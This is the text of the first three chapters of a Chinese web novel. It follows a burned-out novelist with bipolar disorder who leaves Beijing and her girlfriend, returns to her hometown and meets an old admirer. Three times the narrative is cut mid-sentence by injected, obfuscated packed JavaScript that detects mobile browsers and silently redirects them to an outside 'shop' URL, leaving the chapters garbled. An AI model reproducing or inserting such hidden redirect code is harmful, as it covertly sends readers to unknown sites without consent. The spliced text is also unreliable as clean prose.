《爱逢对手》
1. 我病了,神经病
靳迦点了一支烟,不抽,细长的烟支架在厚重的水晶烟灰缸上,白色的烟雾袅袅腾升,她半眯着眼透过朦胧的烟雾,看着小型会议室里资方精明算计的面孔。
一股难以压制的烦躁瞬间朝她不可抵抗地冲击而来,她觉得网文圈子之所以这么多年都无法上得了正统台面,就是因为这些人的存在,Ta们抛弃文学价值,忽略客观事实,必要的时候胡编乱造,只在意爽点,一个烂梗,公式化地反复套用在无数网文剧情里,最后还美其名约迎合市场。
此刻,靳迦觉得自己的事业不仅被毁了,人格也被Ta们活生生的糟蹋了。
...
四月份的北京,天气好的就像是神仙挥袖洒下地一笔,小会议室里被窗外明媚的春光肆意笼罩。
靳迦微微仰头,享受阳光浸透的好滋味,只是面前烟灰缸上架着的那支烟,尼古丁的气味,却无孔不入地搅扰这份难得适宜。
但也正是在这股搅扰中,靳迦察觉出了一场事先预谋好的陷阱。
“阿蛮老师...”对面人唤了一声,面带微笑,流露出稳操胜券的得意。
阿蛮,靳迦的笔名,也是她的乳名。
三年前,二十四岁的靳迦,用这个名字在河洛平台上注册,写下一部四十万字的都市情感网络小说,她没想过自己能火出圈,只是单纯受够了打工人的社畜生活,希望借助自己骨子里的那点文艺气质,从笔头儿底下暂时讨碗饭来吃,可意想不到的是,这部网文竟被一个知名大导演相中,先是各种纸质出版,紧跟着各种影视拍摄,短短一年的时间,便让靳迦从一个十八流网文作者,晋升为一线头部。
生活迎来了翻天覆地的变化,银行卡里的余额也随着身价一路水涨船高,二十五岁的靳迦在东三环一个高档小区全款拿下一套精装修的四居室,足足一百四十平,有了房,必然要有车,房产证都还没焐热,立马又去4s店提了一辆黑色大奔。
世人对房子都有执念,有了房等同于有了身份,有了身份又等同于有了户口,就算靳迦不是本地人,可她是业主,至于户口哪里,似乎也没有那么重要了,况且她还有辆大奔傍身。
靳迦深谙世俗成功之道,明白自己也是有几分话语权的。
她先是看了眼快要燃到尽头的烟蒂,而后悠悠将目光挪到对面那人脸上。
“不好意思,你刚刚说...这篇小说叫什么?”
“《乳/房天堂》”
这两年短剧当道,风头可谓一时无两,剧情怎样无所谓,最主要是够抓人眼球,资方看中靳迦的名气,专门来找她写一篇定制文,嘴上说着尊重创作者的行文风格,实际上所有的情节早已被金主白纸黑字买断在合同里。
靳迦肤色偏白,鹅蛋脸,正青春的长马尾利落扎在脑后,额角散着些微卷的碎发,乍一看颇有种女大学生初入社会的那种单纯好骗的清纯气质,又因为天生一张微笑唇,就算心里这会儿已经把对方十八代祖宗都问候了一遍,脸上看去,却还是一副笑意盈盈的无公害绿色果蔬模样。
她听着对方侃侃而谈——
我们要迎合市场。
我们要推陈出新。
我们要直击受众群体。
靳迦想问——
市场什么时候需要袒/胸/露/乳了?
奉献口甫乳器官算新颖?
哪个群体要把RU房当天堂?
眼看着那只烟燃灭,靳迦笑的更加纯良,嘴角两边向上翘起,眼睛弯成月牙弧度,要多甜妹有多甜妹。
她想到外婆在世的时候,经常左手烟右手酒的教育她——「能忍就忍,忍不了..该骂就骂,不就是掀个桌子嘛,天又不会塌下来,最主要心里的这口气绝对不能憋着。」
文人不骂人,也不掀桌。
文人只阴阳怪气——“RU房天堂多没意思,干脆叫**诱、惑..”
“还有这个剧情,惯常男女套路也没劲儿,都市情感爱来爱去,不就是床上那点事儿嘛,擦边有什么意思啊?别说观众审美疲劳,就是我写都写够了...”
靳迦有模有样跟对面人掰扯——
“这样...天崩开局,从天亮开始做一直到天黑,什么吃喝拉撒睡咱也全都省了,镜头一转,直接换到地板,继续接着...怎么刺激怎么来..怎么炸裂怎么玩,只要是个有生理谷欠望的,全是咱们的受众,您看我这个提议怎么样?”
对面人脸上一阵青一阵红——
“这...这不成A/.威v了吗?”
“原来你知道啊?”
“我以为你不知道呢。”
靳迦是没掀了会议室的桌,但也跟掀桌没区别。
她走的时候,只听身后人声嘶力竭地骂了句——
“一个破写文的你拽什么?!”
“你不写,有的是人写!”
靳迦踩着脚底的那双经典款的萨洛蒙,青春马尾在后背一甩一甩。
这已经不是她第一次被金主在屁股后头骂了。
她无所谓生气,只是反感这种假惺惺的装腔作势,如果一上来就告诉她,这是一桩强买强卖的生意,或许她会看在钱的份上妥协,但这种阴奉阳违的套路,她实在受不了。
用她自己的话来说,好不容易才养起来的文学素养,看书看到头晕眼花,笔记做到腱鞘炎都发作,凭什么让她说丢就丢?
擦边?
擦你爹去吧!
靳迦开车着那辆黑色大奔,转头就去了郊区附近的一家苍蝇馆子,满满吃了一大碗卤煮,肥肠跟内脏混煮在一起,把她浸/淫的满身膻腥,又跑去买了一碗宫廷奶酪,肚子撑到滚圆,直到再也经受不住这种饱胀的感觉后,她寻到了一间公共厕所,小小的隔间里,嘴一张,对着马桶顷刻间吐得一干二净...
她出了一身汗,后背的衣服被汗水浸湿,黏在皮肤上,低血糖般的眩晕感,令靳迦极度不适,手伸进包里一通乱翻,好不容易摸出个白色的小药瓶,晃了晃——空的。
“靠!”
靳迦骂了一句,什么时候吃完的?
没辙,只得又把包拉上,出了公厕,坐进车里,强忍着头晕,慢慢缓解神经里的不适感。
这么折腾了一番,等回到家的时候,日头已经夕照。
封闭式的高档小区,一梯一户的住房条件,进出小区大门,保安站军姿似的跟你挥手致意,再看看里面绿葱葱的生态环境,一尘不染的路面,是物业天不亮就拿高压水枪喷洗出来的。
看得到的虚荣心,总算是让靳迦又找回了一点成功人士的感觉。
但很快,这种感觉就没了,取而代之的是过街老鼠般的狼狈不堪。
她把门打开,客厅灯亮着,墨色茶几旁边一双冷眼登时就冲她明晃晃地刺射过来。
“舍得回来了?”柏靖,靳迦的女友。
她跟靳迦同岁,当初两人是在一个文娱圈的小聚会上认识的,赴宴的人基本都跟文娱圈沾点边儿,唯独柏靖例外,她是做金融的,在北京的一家知名证券公司工作,是被朋友硬拉来玩的。
lesbian的天灵盖大概跟天线宝宝一样,头顶都竖着根棒棒,她们几乎是在目光对视的一瞬间,就感知到了相同的雷达。
聚会上喧闹不停,帅哥靓女游走缤纷,那种乱花迷人眼的感觉,把整个聚会弄得像个万花筒,而就是在这样的五彩斑斓下,她们对视的目光中,印出了一片微妙的静止。
靳迦觉得那是一种蓝天白云碧波游荡的翩然,俗称爱情的开端。
之后,柏靖走到了靳迦身边,一只手悄悄伸来,环住了靳迦的腰,偏过头给了她一剂明目张胆地微笑。
聚会还没结束,她俩就逃离了。
随之而来的就是俗套桥段,吃饭、约会、确立关系,然后火速同居。
她们是在彼此最耀眼的时候遇见的,饱暖思淫欲,这是一场注定逃不开的世俗情爱。
靳迦看了眼柏靖——
“小超人回来了,今天不飞了?”
‘小超人’是靳迦给柏靖取的爱称,柏靖工作很忙,每天都在空中飞来飞去,挺有意思的一个称呼,但眼下叫出口,似乎不合适宜。
爱称这东西,只有在感情好的时候..才算数,感情淡了..怎么听怎么有一种嘲弄的腔调。
“你真是出名了,跟资方都能撕破脸”
柏靖冷冷的声调,空气中当即便弥漫起一股无形硝烟。
“你都知道了?”靳迦神色僵了一下,随即又恢复如常。
“我有个朋友,在那个工作室做剪辑”
“你朋友可真多”
靳迦有点烦,先前强压下去的不适感,又从神经里跳出来,震得她太阳穴像是跑进一个蒙面狂徒,嚣张猛砸。
她绕开柏靖,走到茶几底下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353051|199641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拉开抽屉,在里面翻找药箱。
稀里哗啦的声音,让她烦躁加剧,一室通亮的客厅,似乎对她熄灭了光,一切都变得黯淡起来。
柏靖盯着她看了一会儿,转头去到卧室,从床头柜里取来药瓶,倒出两颗,又端了水,一起递给她——
“新开的药在卧室床头柜里,你自己放在那儿的。”
“往后记不住,就贴个便签。”
靳迦完全不记得了,望着递来的药片,大脑一片空白。
道了声谢,接过药,随水服下。
“周六我约了李医生,去看看吧。”柏靖说。
“不去。”
气氛突然沉默起来,靳迦想起来那句法国谚语——有天使飞过,转而又觉得或许那句英国谚语更合适——有人在你的坟墓上走来走去。
“你到底还要这样多久?”柏靖打破沉默,出声问道。
“什么?”
“靳迦...人做事总得有个限度吧?你多长时间没有新作品了?”
“那些东西我写不了,太蠢。”
“那你能写什么?这也蠢那又蠢?什么不蠢?”
“就你清高,就你有女权意识,这个圈子每时每刻都在人才汰换,你要不要看看每年平台上新增多少小说?”
柏靖强势气场,直逼靳迦——
“你真的以为你是文学大师吗?”
“靳迦,你认清现实好不好?你就是个写网络小说的。”
面对柏靖的指责,靳迦沉默多过愤怒,她望着她,在经过必要的安静时刻,只说一句——
“你说完了吗?说完了,我要去洗澡。”
“靳迦...你太让我失望了。”
柏靖无力地丢下一句,就折回了卧室,再出来时,手里多了个行李箱,看样子是早就收拾好的。
“你自己好好想想吧,如果你一直这样,我们根本没办法走下去。”
说完,柏靖拉着行李箱离开了房子。
靳迦看着她走,也没阻拦,甚至连一个示弱的眼神都没有露出,她想...或许她们之间早就没有什么感情了,即便有...也已经很淡了。
靳迦说不出来,她们是怎么走到这一步的,只是真到了这一步,却发现并没有多难过,相反...在门板关上的那一瞬,居然还有了一种松口气的如释重负。
果然,顶峰相遇的爱情故事,注定浅薄收场。
靳迦说是去洗澡,却脱光了衣服,窝在浴缸里睡了一觉。
她昏昏沉沉,意识半梦半醒,不知道是药物的副作用还是别的什么,总之...一觉醒来后,比她不睡还要难受。
靳迦穿好衣服,胳膊蹭着墙边往前走,目光所及之处,无不透露悲情,她好像跟明亮隔绝了,所有的一切陷入阴郁,就连无生命的家具都附着了人性情感,她觉得它们都在哭...所有的一切...都在流泪。
她在沙发上坐了好久,期间喝了两壶白水。
等感觉自己状况好一点了,靳迦拿出手机,给柏靖发了条消息——「我们分手吧」
没等到柏靖回复,靳迦就把关于她的所有联系方式删了干净。
她起身,打开行李箱,一件一件地往里面收拾衣服。
很奇怪的感觉,又从她身体里冒出来,先前觉得这些无生命的家具在哭泣,可现在又觉得它们在哭穷,它们披着精心打磨的昂贵皮囊,哭着一种与金钱无关的穷,那是一种精神上的贫瘠——失去归属无处安心的自由。
靳迦删除了所有在北京的一切,通讯录里只留下了那个认识了二十年的发小蔚蓝。
她给蔚蓝发去消息——
“我打算回老家住一阵儿。”
蔚蓝拿着手机,还没等说什么,身后环抱着她的人,突然抽身离开,下床,穿衣,关门走人。
见门被关上,蔚蓝才又问——
“怎么突然要回来?”
“我病了。”
“什么病?”
“神经病。”
...
与此同时,另一边的闻加一,兜里手机忽然作响。
接通不过三秒——
嘭的一声——
她打翻了手边的酒。
听筒里的声音还在她的耳边有所兴味地重复着——
“闻加一...你听见了吗?”
“靳阿蛮要回来了。”
2. 老乡见老乡
在分手这件事情上,靳迦出手果断利落,发完那条分手消息后,她就把柏靖留在这里的东西,用纸箱一一打包好,拢共两个四方纸箱,就把柏靖留在这个家里的痕迹清消的一干二净,随即便叫了上门取件,从打包到箱子被取走,连三个小时都不到。
她们谈了三年恋爱,结果只用了三个小时,就画上了终止符。
这令靳迦在心里涌出一股诧异,时间果然是个抽象的东西,倘若不做具象化的处理,你永远都不会知道,结束一段关系,远比开始一段关系,要简单容易得多。
做完这一切后,靳迦感觉到自己肩上的大山瞬间被卸去,猝不及防心情明快起来,她睁大眼睛,瞪着这个又变成只有她一个人的房子,跑去浴室洗澡,站在淋浴头底下大声唱歌,四肢百骸的气血直冲天灵盖...
不光唱歌,还光着身子到处跳舞,她摇头晃脑一遍又一遍,赤着脚到处横冲直撞。
她觉得自己变成了一朵花,看什么都灿烂,在凌晨三点半的安寝时刻,亢奋地就像一只跳起来打拳击的澳大利亚袋鼠。
靳迦兴奋过了头,嗨过正常人的神经界限。
这不是好兆头,她低头看着没穿衣服,龇牙咧嘴又蹦又跳的自己,知道这是又犯病了。
跌跌撞撞地跑去卧室,拉开床头柜的抽屉,水都顾不上倒,仰头就把药粒吞进喉咙。
手舞足蹈的兴奋神经,随着吞进腹中,逐渐溶解发散药效的情绪安慰剂,终于渐渐地又平复下来。
白嫩的皮肤上沁了一层热汗,窗外的夜风呼呼输送进屋,热汗霎时凝结成一层寒气,在一热一冷的交替中,靳迦打了个寒颤。
她蜷缩在蓝色的毛巾被里,眼睛呆望着房间里被灯光照亮的陈设,距离黎明的到来,又让她漫长的惊心。
眼睛睁着,心却瞪着黑暗。
靳迦抽了下鼻子,抬手一摸,又被眼泪挟持。
她拿出手机,在搜算栏里输入——「双相情感障碍」
——这是一个会反复发作的疾病,终生将有九次复发机会,也就是说就即便这次好了,但这个病却还是不会治愈。
靳迦把脸埋在枕头里....
默默哭想着,所以...她会一辈子都是个神经病。
——
一整晚靳迦都没有睡,不是她不想睡,而是根本睡不着,一个健康的人,忽然得了这种病,按部就班的日子,就变成了一场又一场失眠折磨。
靳迦化了个淡妆,用粉底掩盖自己憔悴的脸色跟眼睛四周的乌青,又用一支豆沙红的唇釉,好让自己惨白的唇色,看上去鲜活一些。
她拎着行李箱,就这样踏上了回老家仪庙的高铁。
其实靳迦也不知道,回去能干什么,可外婆在世时候常对她说的话,这些日子总会在她耳边响起——「阿蛮啊...累了就回来,外婆的老宅留给你」
靳迦靠在高铁座位的椅背上,感觉到车身启动,扭头看向窗外,万年不变的风景开始移动。
她要走了,要离开北京。
离开这座她梦想开始的城市。
高铁驶出车站许久,靳迦拿出眼罩跟耳机戴上,耳机里唱着——「人生难得是欢聚,惟有别离多」
五个小时的高铁,到站的时候,靳迦屁股都坐麻了,车身还在往前行驶,距离站台停落,最起码还要十五分钟。
但这会儿,车厢里的人已经排起长龙,靳迦不明白为什么大家那么喜欢排队,这一站是终点,有什么好着急的?
可令她感到诧异的是,自己竟然也起身夹在了这条长龙之中,她观望着黑压压的拥挤人流,陷入一种‘从众潜规则’的怪圈里——要是跟大家不一样,便是异类。
车停了,挤在狭窄的涌道中,靳迦掩着鼻子,被各种脚臭、汗臭、口臭包围,她不晓得现代人体味为什么会这么大?莫非是经济大环境不好,也让大家压力大到,连澡都不肯洗吗?
年轻男人汗津津的腋下,中年男人头皮油屑的渣滓,四十八码的大脚恐怕就是臭味的来源,张嘴说话的时候,靳迦竟然还看见那人大门牙上粘的韭菜叶...
呕——
要吐了。
就在靳迦觉得自己快要受不了,胸口一阵阵翻涌之时,忽然鼻尖一动,她嗅到了一股清淡的薄荷味道,其中还夹杂了一些幽幽的茉莉茶香。
“麻烦让一下...”清润的声音从身后传来,因着这股香气,居然令这道没什么感情的声线,都显得心旷神怡。
靳迦猝不及防地就被愉悦到,扭过头想去看声音的主人。
与此同时,那人也正好来到身边,是个年轻女孩,比靳迦高了半头,穿着蓝白相间的条纹衬衣,戴着鸭舌帽,帽檐压得很低,脸上还戴了一只黑色口罩,被帽子压住的头发顺滑地披搭在肩上,发色光亮润泽,露出白白耳尖,有耳洞,但却没有戴东西。
这样明亮健康的发色,让靳迦心生羡慕,自打病了之后,不管她再怎么精心打理自己的头发,始终逃脱不掉干枯的分叉毛躁。
忽的一个抬眸,两人目光有了一秒钟的刹那对视。
好一双漂亮的眼睛,墨黑的瞳仁在阳光照耀下竟有种由外向内地渐变铺落,浓密的长睫像两把展开的小扇子,不经意间忽上忽下,被口罩遮住的全貌的鼻梁,从侧面望去仿佛一杆青葱般斜挺,而且她的脸怎么这么小?
靳迦自问不是个见到美女就走不动道的主儿,但却是个实打实的眼控,没办法抗拒心灵窗户的天然馈赠,尤其还是这么近的距离,美这个东西,从来都是可遇不可求。
她偷瞄着女孩,那股薄荷茉莉的香气不停地往鼻腔里钻,视线一瞥,目光挪到了女孩垂落在身前的手上...修长的手指,骨骼线条匀称,肉粉色的指甲修剪的圆润齐整...
在手背微微用力时,还能看见青色的血管在薄薄的皮肤底下凸起。
靳迦偏开身,待女孩伸手将头顶置物架上的黑色背包取下来的时候,她才佯装着随意地问了句——
“你也是仪庙的吗?”
女孩瞥了眼她,墨染一般黑色的瞳仁,没有任何情绪,明显一副不想搭讪的样子,但出于礼貌,还是点了下头,鼻腔发出短促的单音节——
“嗯。”
“那真是太巧了,我也是仪庙人,等会儿一起拼车怎么样?”
靳迦笑盈盈的,天生微笑唇,看上去清纯的人畜无害。
女孩没有再接话,只是盯着靳迦看的目光中,似乎有那么一点若有所思。
过了好一会儿,女孩才又清冷开口——
“你找别人拼吧,我不顺路。”
说完,拎着背包,就往前走了。
靳迦笑还挂在脸上,她盯着这人垂落在背的黑长直发,撇了撇嘴,果然...美人自古多桀骜。
又抽缩了两下鼻尖,那股薄荷茉莉的香气似乎还在空气中有所残留。
.
甫一下车,靳迦拎着行李,刚走出车站,正要随人流而去,手机就响了,放在耳边接通,蔚蓝的声音便从听筒里传来——
“朝左看。”
蓦的一抬眼,靳迦就被眼前的来人惊住了。
“你不是在上海吗?”
“辞了。”
“好端端怎么说辞就辞?该不是因为我...”
“别误会,姐们儿我单纯就是走水逆,反正也晋升无望,再待下去指不定就得找我谈话了,干脆我先开了他。”
蔚蓝是做高端销售行业的,市场部经理,原本说着今年只要这单做成,她就有望进入管理层,临到了...却被天降奇兵,不仅把她给挤走了,就连手底下的团队都被优化更新。
她耸了耸肩,米色薄针织衫,配一件浅蓝色修身牛仔裤,勾着手里的黑色车钥匙。
“走吧,去我家。”
“去你家干嘛?我要回老宅。”
“你确定要现在回?”
“怎么了?”
蔚蓝没多说,拉着靳迦上了车。
大概二十分钟左右,蔚蓝把车开到老宅门口,靳迦才明白蔚蓝的那句‘确定要现在回去’真正意思。
外婆去世后,靳迦就没再回来过,现在这座老宅,就是外观看上去还有点样子,但里面根本没法住人,门一打开,迎接她的便是铺天盖的陈年积土,而且水
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353052|199641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
电气全都不通。
“你还是去我那住吧。”蔚蓝一边呼扇着脸前的灰尘,一边对靳迦说:“反正我现在也辞职了,正好咱俩做个伴。”
“你家没人?”
“没有,叶叔跟我妈在县城新开发的那个彩虹小区买了套新房,去年装修完就搬过去了,原先那套老房子就空下来,咱们这儿你也知道,地方小年轻人能出的都出去了,租是不可能了。”
蔚蓝不是本地人,六岁那年她妈蔚文芳改嫁到仪庙一户姓叶的人家,男人是个小学老师,也带着个女儿,比蔚蓝大了三岁。
“你姐知道你辞职了吗?”靳迦问了句。
“跟她说这干嘛,我又不是不回去了。”
蔚蓝转而又道——
“往后别你姐你姐的,我跟她又不是亲的。”
“你跟她还僵着呢?”
“僵屁,我懒得理她。”
靳迦看着蔚蓝脸上不爽的表情,有些欲言又止,这些年叶流对蔚蓝好的绝对没话说,但不知道为什么,蔚蓝对她...却总有不满。
“愣什么呢?”蔚蓝拍了她一下。
“没什么。”靳迦摇摇头,指甲在手腕凸起的骨头上挠了挠,“我这次回来是打算长住一段时间,我这病什么时候能好也不知道,要是一直不好,恐怕也是归期不定。”
“又没人催你,先住我那儿,这边慢慢收拾,回都回来了,还怕没时间嘛。”
蔚蓝遂瞥了她一眼,心中斟酌一番,又开口问道——
“真跟柏靖分了?”
“你以为演习呢?”
“能放得下?”
“有什么放不下,不过就是谈了个恋爱,分分合合司空见惯。”靳迦把脚下的小石子踢飞进路边的灌木丛。
蔚蓝听着靳迦这番发言,心里想的却是,分了也好,柏靖那人她虽然打交道不多,但也从几次接触中察觉出许多端倪,洋墨水喝了一肚子,我本位的思想价值深扎骨血,说得好听是精致利己主义,说的难听就是自私自利。
“你别这副表情行吗?搞得好像我是被抛弃的一样,分手是我提的好不好。”认识那么多年,靳迦一眼就能看出蔚蓝的微表情。
“你跟我说实话吧,你当初跟她在一起,就是贪图人漂亮又能干吧。”
“不然呢,谁不想。”
靳迦在这一块倒是非常诚实。
在某种程度上,她跟柏靖半斤八两,柏靖图她经济独立有名有钱,自己图她漂亮能干高知精致。
靳迦琢磨了一番,可能这就是为什么在分手后,自己不难过的原因吧,相比较爱情天真的初衷,她俩谁都不单纯。
随即,两人重新上了车。
车子行到路口时,稍稍减缓速度,趁着前面那辆小三轮慢悠悠晃过去,靳迦看见一个目光呆滞的中年女人,被两个人从水库那边搀扶过来。
那女人的表情,靳迦只瞧了一眼,就看出精神有问题,在精神科的时候,类似的没少见。
“那是谁啊?”
“沈秀梅。”
靳迦茫然看向蔚蓝。
“就是闻二胖她妈。”
靳迦更茫然了——
“闻二胖又是谁?”
“她儿子啊。”
“你说人话行不行?”
蔚蓝降下车窗,朝那女人看去,待收回眼来的时,叹了声气——
“也是个可怜人,她儿子两年前溺死在水库,打那之后,她精神就出了问题,天天往水库跑,说要去找儿子。”
蔚蓝冲靳迦扬了扬下巴——
“你小时候不也喜欢去水库玩,我记得有一次差点掉里面吧。”
可不是嘛,那次她外婆拿擀面杖把她打的屁股都开花了,愣是三天都没能下床,印象太深刻,靳迦现在想起来,屁股蛋还火辣辣的疼。
“是你吧?”
“什么?”
“跟我外婆告得密。”
“胡说,我从来不告密,我只会跟你一起玩。”
蔚蓝语调一转,手指尖在方向盘上若有似无轻轻敲打——
“话说回来,闻二胖她姐也回来了。”
3. 你的那个迦,去掉走之底。
闻加一到家的时候,沈秀梅也刚巧被邻居送回来。
她一面跟邻居道谢,一面拿药给沈秀梅吃,转头又打电话给她爸闻大军——
“我都说了下午就回来,就让你在家里照顾一会儿,都不行吗?”
“我不想跟你吵。”
“算了...就这样吧。”
余下的整天时间,闻加一都没敢再出去,直到夜色黑沉..沈秀梅睡去,才觉得有惊无险又熬过一天。
十点半,说早不早说晚不晚,水泥地铺成的小路,还有遛弯的中年人,窸窣的脚步伴着闲聊的人语,间或有几辆汽车驶过,嘀的打声喇叭,车头两盏照明灯由近及远地照射出两道光束,从早已上锁的大铁门前一径掠过。
不知是天热还是心热,房中的空气异常窒闷。
人起了燥,就待不住,闻加一开了罐冰啤酒,去到院子外面,一脚踩上石墩,仰头望着不远处那座早已废旧的老宅子。
那是靳迦外婆的老宅。
灯黑着,还是没人回来过得样子。
闻加一又看向院中晾挂着的灰色衬衫,也是昨天这个时候,叶流一通电话打给她,说靳阿蛮回来了,她手不知怎么忽然抖颤了一下,满罐的啤酒尽数泼在了身上。
她一身湿漉漉黏唧唧,赶忙脱了衬衫,再拿起手机放在耳边,就听见叶流调侃的语气——
“紧张了?”
“信号不好。”
闻加一清冷的声线,又叫电话那头的人笑出声来,默声半刻,叶流忽然正色起来——
“闻加一,你那时候暗恋的人,是靳阿蛮没错吧。”
靳阿蛮是闻加一高中时代的一个梦,她不能说时隔这么多年,对当初暗恋的心境还有多少难耐的悱恻,但又不能全盘否认此刻心中的暧昧。要不然..怎么会一听见这人回来了,连罐啤酒都拿不稳?
再望向那件早已洗净晾干的灰色衬衫,在微风吹送中张扬飞舞的衣角,她的心..居然也升出一股抖嗦嗦地游曳。
四月春风摇荡的晚上,闻加一穿着黑色工字背心,薄外套松垮垮罩在身上,冷清清地站在石墩上,手里的易拉罐都被她捏地咯吱作响,乍一看又孤寡又骚包。
难得一口气喝了两罐啤酒。
心情放松了那么一小点,她从石墩子上跳下来,对着旁边卷毛边牧的大脑袋,就是狠狠一挼。
边牧还没来得及嗷呜,便被闻加一手里的罐头驯服,垂下狗脑袋,没出息地任人蹂躏。
“吃吧、吃完早点睡,别想乱七八糟的东西。”
说完,闻加一就回了屋子。
罐头让狗好睡,可啤酒却没让她好睡,躺在床上翻来覆去怎么都睡不着,满脑子都是靳阿蛮十岁那年,偷偷去水库玩..被她外婆捉回来,扒了裤子摁在老院屋里的长凳上,用擀面杖打屁股的画面。
闻加一觉得自己不算告密,那会儿要不是自己去喊了她外婆来,恐怕靳迦就要被水冲走了。
她把手在脑袋后面垫高,脸歪到一边,眼睛迷蒙,呼吸发热,眼前忽的跳出两瓣被打到惨不忍睹的小白屁股。
嘴角下意识地勾了勾——
也不知道,靳阿蛮右边屁股上的那块棕色葫芦胎记,还在不在了?
...快要睡着之际,忽然低头看去,只见手机微信弹出来一个添加好友——
——「我是靳迦」
闻加一浑身一抖,仿佛那不是好友添加的弹窗,而是她心脏跳漏半拍的前奏。
靳阿蛮...她真的回来了。
——
“奇怪...她怎么还不通过呢?”
靳迦在屏幕上点点点,看了眼时间,十二点都没到..不能就睡了吧?
突然想到什么,手指摁黑屏幕,急忙盘腿在床上坐起身,跟蔚蓝说起那个在车厢里遇见的女孩。
“虽然她带着口罩,帽檐压得贼低,只露出了一双眼睛,但我还是能一眼看出,她铁定是个十足的大美女。”
“你这眼控的毛病到底什么时候能改改?”蔚蓝把脸上面膜摘去,丢进垃圾桶,“兴许口罩一摘,没准是个牙擦苏。”
“去你的吧!”
靳迦笑着拍了她一下,她知道蔚蓝对自己是眼控这件事,格外不能理解,在蔚蓝看来,判定对方是不是美人..从来都不是眼睛能决定的,得从具体五官来分辨,好比林青霞的眼,关之琳的嘴,王祖贤的鼻子,单看都是千金好,可要是合在一起,却偏偏差强人意,而有的人..眼睛鼻子嘴,都长得不合美人标准,但要是聚在一起,却是女娲造人恰到好处的福祉,所以啊...真正的美人,还得看比例分配。
每回说起这个蔚蓝都头头是道,但靳迦却听出其中猫腻,她实在忍不住问蔚蓝——
“究竟是谁比例分配的这么天工雕琢,叫你念念不忘?”
蔚蓝抿唇一笑,捏捏靳迦的脸蛋儿——
“你喽~”
靳迦才不信她。
“暗恋我这么久,真是辛苦你了~”
话落,指着自己的头发,双手又在自己胸下掂了掂——
“可惜现在我头发毛躁身材干瘪,着实高攀。”
蔚蓝哈哈一笑,插科打诨就把这遭翻了篇。
两人有的没的又聊了几句,靳迦转头捞过随身包包里的小药瓶,倒出两粒送进嘴里,又端起提前倒好的凉白开,头一低一仰,喉咙咕嘟一声吞下肚中。
靳迦药收的快,包拉的紧,但蔚蓝还是看见了那药瓶上的字——地/西/泮/片。
其实,她的包里随身装了很多药,虽然没当着蔚蓝的面彻底拿出来过,可从她翻包时候哩哩扣扣的声音中,蔚蓝也能听得出。
“你要吃这么多药吗?”
“现在好多了,之前吃的更多。”
靳迦无所谓地挑了下眉,扯过被子,脑袋在蔚蓝肩头撞了撞——
“我都习惯性了,不就是吃药嘛,这有什么的,人生了病就得吃药,毕竟我又不敢死。”
“闭上你的乌鸦嘴,什么死不死的,生病了就治,现在年轻人压力这么大,谁还没点头疼脑热呢。”
蔚蓝嘴上这么说,心里却不是滋味,她们从小一起长大,想当初自己刚到这个镇上被人嫌弃排挤的时候,靳迦是第一个主动站出来和她示好的,靳迦和她做朋友,把那些对着她撒尿的坏小子用棍子打跑,跟她说体己的知心话,在蔚蓝的印象里,靳迦从来都是一个大大咧咧天不怕地不怕的老虎性子,是靳迦让蔚蓝见识到了什么叫无忧无虑,她羡慕她,打心眼里认定,靳迦会永远都这么活泼开朗。
但...哪有人会真的无忧无虑,你之所以觉得她过得好,无非是对她还不够了解罢了。
有些事,蔚蓝也是后来从镇上的老人嘴里知道的——靳迦父母在她还是襁褓的时候就离了婚,她妈为了一页户口,她爸图她妈长得漂亮,两个人心怀鬼胎之下结成了一桩唯利是图的婚姻,后来她妈出轨了一个矿老板,她爸在外面包了一个大学生,离婚的时候,谁也不要靳迦,就好像这个孩子,跟他们没有关系,完全是多余出来的。
索性,靳迦还有一个好外婆,何老太把靳迦养在身边,全心全意对她好,老太太没跟女儿女婿撕破脸,想着办法为靳迦筹谋,两个没心肝的爹妈认不认往后再说,但该靳迦的钱必须到位,少一个子儿都不行。
这些年,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353053|199641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
靳迦她爸妈从没看过她一次,何老太去世后,就彻底断了全部联系,有时候她也会提上一两句她爸妈,既无所谓又不以为然的说道:“也不是所有父母都爱子女的。”然而靳迦说她并不恨他们,要是没有他们这对烂父母,自己又怎么得一个那样疼爱自己的外婆。
“真打算回镇上住?”
“当然,不然我费那么大劲儿回来干嘛。”靳迦眨眨眼睛,顺手揪下一两根新陈代谢掉落的睫毛,在指腹间搓揉。
“那你可想好了,要是住我这儿,你每天还能喝上星巴克,要是住在镇上,那你就只有雷碧了。”
几句玩笑话,就把刚刚有点沉闷的气氛消解了。
“你那老宅大动没必要,小动一下的话,这人正合适。”蔚蓝说。
